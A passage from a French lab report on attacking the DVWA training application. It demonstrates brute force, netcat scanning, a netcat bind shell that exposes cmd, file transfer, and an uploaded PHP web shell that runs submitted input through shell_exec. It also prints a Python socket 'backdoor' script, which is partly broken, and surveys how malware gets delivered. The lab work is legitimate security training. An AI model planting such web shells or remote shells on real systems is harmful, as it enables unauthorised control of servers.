Le fonctionnement de l’attaque par force brute est proche de l’attaque par credential stuffing, mais est
moins élaborée.

À l'intérieur de DVWA, j'ai sélectionné l'option Brute Force, qui m'amène à une page de
connexion.

62
On a entré admin pour le nom d'utilisateur et passer pour le mot de passe, qui est le mauvais
nom d'utilisateur et mot de passe.

Ça a marché! L'attaque Brute Force a réussi.

63
1.5.11 Netcat et DVWA

Netcat, souvent abrégé en "nc", est un utilitaire réseau polyvalent couramment utilisé dans l'interface de
ligne de commande des systèmes d'exploitation de type Unix (tels que Linux et macOS) pour établir et
gérer les connexions réseau. Il peut être utilisé à diverses fins, notamment l'analyse de ports, le transfert
de fichiers et la création de services réseau simples. Netcat fonctionne en deux modes : le mode client
et le mode serveur.
En mode client, il peut initier une connexion à un hôte et un port distants, vous permettant d'interagir
avec des services tels que des serveurs Web, des serveurs de messagerie, etc. En mode serveur, il peut
écouter sur un port spécifique et gérer les connexions entrantes, ce qui le rend utile pour créer des
services réseau simples. Certains cas d'utilisation courants de Netcat incluent : 1. Analyse de port : vous
pouvez utiliser Netcat pour vérifier quels ports sont ouverts sur un serveur distant, aider à identifier les
vulnérabilités potentielles. 2. Transférer des fichiers

Installation de netcat sous linux


# apt install netcat

1.5.12 Scan de ports


Netcat (ou nc) est un outil de ligne de commande qui peut lire et écrire des données sur des
connexions réseau, à l'aide des protocoles TCP ou UDP. Avec netcat vous pouvez analyser un
seul port ou une plage de ports. Par exemple, pour rechercher des ports TCP ouverts sur une
machine distante avec une adresse IP
ncat -v -z 192.168.1.9 80

On a scanné tous les ports de la machine à distant, on voit que les ports des services http, smtp et ssh
sont ouverts

1.5.13 Accès à un shell distant


Pour accéder à un shell distant à l'aide de Netcat, vous devez exécuter Netcat en mode écoute (-l) sur la
machine distante et rediriger le flux d'entrée/sortie vers un shell, puis vous connecter à cette machine
distante depuis votre machine locale pour interagir avec le shell distant. On démarre le serveur
Pour faire ce test il faut installer netcat sous la machine Windows et linux
Et voici k’IP da la machine windows

64
On lance cette commande pour démarrer le serveur
#ncat -n -v -l -p 5555 -e cmd

On constate que le serveur est en écoute déjà et passons sur la machine linux

La machine s’est connecté au serveur et sur le cmd de la machine Windows on remarque une connexion
s’est établie.

65
On peut voir les dossiers y compris les fichiers sur la machine Windows.

1.5.14 Transfert de fichiers


La copie de fichiers est l’une des fonctionnalités de Netcat souvent utilisées. Elle permet de transférer
de gros volumes de données et de cloner des partitions ou des disques durs entiers. Créons un fichier
texte qui doit être transféré depuis la machine source

On crée le fichier myfiche.txt

Voici son contenu

Écrivez la commande ci-dessous pour recevoir un fichier dans la machine de destination

#ncat -l -v 4444>myfiche.txt

Écrivons la commande ci-dessous pour transférer le fichier

# nc 192.168.1.4 5555 < myfiche.txt

66
La capture ci-dessous montre que le fichier est envoyé avec succès

1.5.15 Client de chat


La fonctionnalité client chat de netcat permet les utilisateurs de communication Démarrage du
serveur.

# nc -vlp 4000

Démarrage du client

# ncat -v 192.168.1.9 4000

Envoi des messages

La machine Windows a reçu le message et elle répond par message reçu mon brave Linux.

67
Il est important de noter que Netcat est un outil puissant et peut être utilisé de manière inappropriée à
des fins non autorisées. Il est essentiel de vous assurer d'avoir les autorisations nécessaires et
l'autorisation avant de l'utiliser, en particulier lors de la communication avec des systèmes distants.

1.5.16 Upload & DVWA


File Upload:
De nos jours, de nombreux sites permettent d'envoyer des fichiers sur leurs serveurs, pour les partager,
les montrer a tout le monde.
Ces services peuvent être très dangereux s’ils ne sont pas bien protégés, car on propose à l'utilisateur
D’envoyer des donnés sur le serveur. Et ils pourraient bien envoyer par exemple du code PHP contenant
une Backdoor.

1.5.17 Application File Upload:


Dans ce cas de figure on va utiliser la sécurité basée sur DVWA et on va uploader dans l'application un
fichier malveillant, il s'agit d'un shell php.

L’attaquant va se connecter sur la machine serveur DVWA et injecter du code php dans la partie File
Upload.
Voici le code de l’attaquant.
<!DOCTYPE html>
<html>
<head>
<title>Exécution de script Bash</title>

68
<link rel="stylesheet"
href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css">
</head>
<body>

<div class="container mt-5">


<h1>Exécution de script Bash</h1>
<form method="post">
<div class="mb-3">
<label for="bash_script" class="form-label">Script Bash</label>
<textarea class="form-control" id="bash_script" name="bash_script" rows="10" cols="50"
required></textarea>
</div>
<button type="submit" class="btn btn-primary">Exécuter le script Bash</button>
</form>

<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$bashScript = $_POST['bash_script'];
// Vérifiez et nettoyez les données si nécessaire

// Exécutez le script Bash


$output = shell_exec($bashScript);

// Affichez le résultat
if ($output !== null) {
echo '<div class="mt-4"><pre>' . htmlspecialchars($output) . '</pre></div>';
}
}
?>
</div>

<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"></script>

69
</body>
</html>

Il choisit son fichier malveillant.

Ensuite il clique sur Upload

70
Il connait le chemin ensuite il ouvrir une autre fenêtre en tapant cette url
http://192.168.1.9/DVWA/hackable/uploads/attaque2.php

Il peut exécuter des commandes sur la machine serveur grâce à son petit code php.

71
Il fait pwd pour voir son emplacement.

Il peut lister les comptes systèmes.

72
Il voit sur la machine le serveur apache est installé

Il voit le port d’écoute de serveur ssh sur la machine.

On crée le fichier zeropiratage.txt sur le serveur

73
On crée le dossier my_attaque sur le serveur

74
On peut voir les fichier et dossiers sur la machine serveur

1.5.18 Qu'est-ce qu'un programme backdoor ?


Un backdoor (ou porte dérobée) est un programme informatique malveillant utilisé pour donner aux
pirates un accès à distance non autorisé à un ordinateur infecté en exploitant les vulnérabilités du système

1.5.19 Comment fonctionne un backdoor ?


Il fonctionne en arrière-plan et est n'apparait pas dans les logiciels en cours d'utilisation. Il est très
similaire à d'autres virus et logiciels malveillants, et est donc difficile à détecter. Un hacker peut utiliser
la porte dérobée pour espionner un utilisateur, gérer ses fichiers, installer des logiciels supplémentaires
ou des malwares, surveiller l'ensemble du système du PC et attaquer d'autres hôtes. Souvent, le backdoor
a également d'autres fonctions malveillantes, telles que l'enregistrement des frappes de clavier, la capture
d'écrans, les infections diverses et le chiffrement de fichiers. Ce parasite est le résultat d'une combinaison
de diverses menaces de sécurité privée qui sont interdépendantes et ne nécessitent pas de contrôle
particulier à distance.
La plupart des portes dérobées sont des logiciels malveillants qui doivent d'une manière ou d'une autre
être installés sur un ordinateur. Cependant, certaines portes dérobées n'ont pas besoin d'être installées
car certaines parties sont déjà intégrées dans un logiciel qui fonctionne avec l'hôte distant. Parfois, les
programmeurs laissent ces backdoors dans leurs logiciels à des fins de diagnostic et de dépannage. Mais
les pirates informatiques les utilisent pour pénétrer dans un système.
En général, les portes dérobées sont des chevaux de Troie, des virus, des enregistreurs de
frappe, des logiciels espions et des outils spécifiques de gestion à distance. Elles fonctionnent
de la même manière que les applications de virus mentionnées ci-dessus. Cependant, leurs
fonctionnalités et leur charge virale sont beaucoup plus complexes et dangereuses, et elles
appartiennent donc à une catégorie spécifique.

Les programmes backdoors les plus courants infectent principalement les ordinateurs
utilisant le système d'exploitation Microsoft Windows. Cependant, de nombreux backdoors
peu connus sont conçus pour fonctionner dans différents environnements, tel que Mac OS X.

75
1.5.20 Différents types de malwares

1.5.21 L'accès physique à l'ordinateur


Le moyen le plus simple est d'accéder physiquement à la machine (vous-même, un employé,
une personne pouvant accéder à vos locaux, un détective privé, un parent etc. La personne qui
a eu accès à l'ordinateur peut également être un utilisateur normal qui a été manipulé et installe
involontairement le parasite, lui faisant faire quelque chose de complètement différent avec
l'installation de ce logiciel, à travers une clé usb ou autre. Ceci doit être considéré comme une
faille de sécurité (la première et la plus importante faille de sécurité se révèle souvent être un
être humain).

1.5.22 Avec l'aide d'un cheval de Troie


La façon la plus courante d'installer un parasite est d'utiliser un cheval de Troie ou Trojan. Par
exemple, vous installez un logiciel X sur votre ordinateur : il ne s'installe pas tout seul. Mais X
est un vecteur pour de nombreux parasites, dont un virus qui vous permet d'installer d'autres
parasites dans votre système. C'est un cheval de Troie. Cette nécessité d'installer le cheval de
Troie pour installer les parasites qu'il contient est importante car elle indique que celui-ci est
installé de façon autorisée. Par conséquent, les mesures et procédures de sécurité sont
déficientes et inefficaces, ou bien l'attaquant a un complice.

1.5.23 Usage d'hoax


On les trouve généralement dans les réseaux P2P, où les parasites ont pour noms des
programmes très recherchés (jeu sorti dernièrement, les films les plus téléchargés...) mais
aussi dans les e-mails (spam ou non) notamment pour propager une fake news avec un ou
plusieurs liens à l'intérieur ! Le phishing fonctionne aussi comme cela.

1.5.24 Utilisation du phishing


Aujourd'hui, le phishing n'est plus simplement la copie d'un site bien connu pour récupérer vos
informations bancaires. En effet, sur certains sites illégaux comme les sites de streaming ou de
téléchargement, une demande d'accès à la localisation ou à flash par exemple peut être faite et
parfaitement imiter celle de Google Chrome. Si l'on clique dessus, un logiciel s'installe en
arrière-plan et vous êtes infectés... Enfin, l'un des plus vieilles méthodes de phishing mais qui
fonctionne encore est l'utilisation d'images piégées comme les fameuses images invisibles
(surtout sur les anciennes versions de navigateur).

L’attaquant va uploader le fichier serveur.py qui contient de code backdoor sur la machine
serveur.

76
Voici le contenu de son code

77
Code complet
# Imports
import socket, os

# Getting our local IP and a specified port


HOST = '192.168.1.9' # '192.168.43.82'
PORT = 8081 # 2222

new_port = input('Input Host Port (Blank if default).')


if (new_port != "\n"):
REMOTE_PORT = new_port

# Binding the IP to the Port


# Creating a Socket
server = socket.socket()
server.bind((HOST, PORT))

# Starting the Listener


print('[+] Server Started')
print('[+] Listening For Client Connection ...')
server.listen(1)
client, client_addr = server.accept()
print(f'[+] {client_addr} Client connected to the server')

# Sending and receiving commands in an infinite loop


while True:
command = input('Enter Command : ')
command = command.encode()
client.send(command)
print('[+] Command sent')
output = client.recv(1024)
output = output.decode()
#print(f"Output: {output}")
os.system(output)

Il se connecte sur la machine serveur par ssh pour lancer le programme python

78
Il démarre ncat sur sa machine sur le port 8081 qu’il a défini dans son code python.
#ncat 192.168.1.9 8081

Et sur le serveur une connexion s’est établie

Il crée le fichier pirate.txt sur le serveur

Voici le fichier pirate.txt

79
1.6 Conclusion :
DVWA est une application web PHP/MySQL, dont l'objectif principal est de permettre aux
professionnels de la sécurité de tester leurs compétences et leurs outils dans un environnement
légal.

80

Vous aimerez peut-être aussi